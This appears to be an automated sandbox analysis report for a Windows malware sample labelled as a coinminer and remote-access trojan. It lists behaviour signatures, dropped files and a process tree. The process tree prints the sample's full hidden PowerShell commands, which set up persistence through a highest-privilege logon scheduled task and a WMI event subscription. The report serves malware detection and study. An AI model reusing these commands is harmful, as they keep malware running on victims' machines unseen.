Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/05/2026, 17:51

General

  • Target
    2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 8.9MB
  • Sample260522-wfb7qaet9s
  • SHA256 6826e0df86d9c2b142801c691e8e8ad0e3fe4a83d7a379432e899af2f57c822b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-22_4b19874c5ee1d9bd6ea789ba6009e05c_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bf4c3f7eadd0.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_6fd41d8d' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3812
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bf4c3f7eadd0.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bf4c3f7eadd0.exe"
    1⤵
    • Drops startup file
    • Executes dropped EXE
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:3204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bf4c3f7eadd0.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_6fd41d8d' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3960
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f6fd41d8d'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c6fd41d8d'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_bf4c3f7eadd0.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f6fd41d8d'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c6fd41d8d'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4392

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 05446ecfa346be261ec85b9d2a4175ac667b0933084f032e8426d8bf780106b3
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2b7db7451da9af148e35877d16964eef716aaa7dc6d1b9b53be88af84fefc5c0
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_cngehzfy.pxc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cngehzfy.pxc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-2425640429.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2425640429.tmp
        • Size 8.9MB
        • SHA256 6826e0df86d9c2b142801c691e8e8ad0e3fe4a83d7a379432e899af2f57c822b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3812-7-0x0000025BCC7D0000-0x0000025BCC7E0000-memory.dmp

        memory/3812-6-0x0000025BCC7D0000-0x0000025BCC7E0000-memory.dmp

        memory/3812-15-0x0000025BCE850000-0x0000025BCE872000-memory.dmp

        memory/3812-16-0x0000025BCC7D0000-0x0000025BCC7E0000-memory.dmp

        memory/3812-19-0x0000025BCC7D0000-0x0000025BCC7E0000-memory.dmp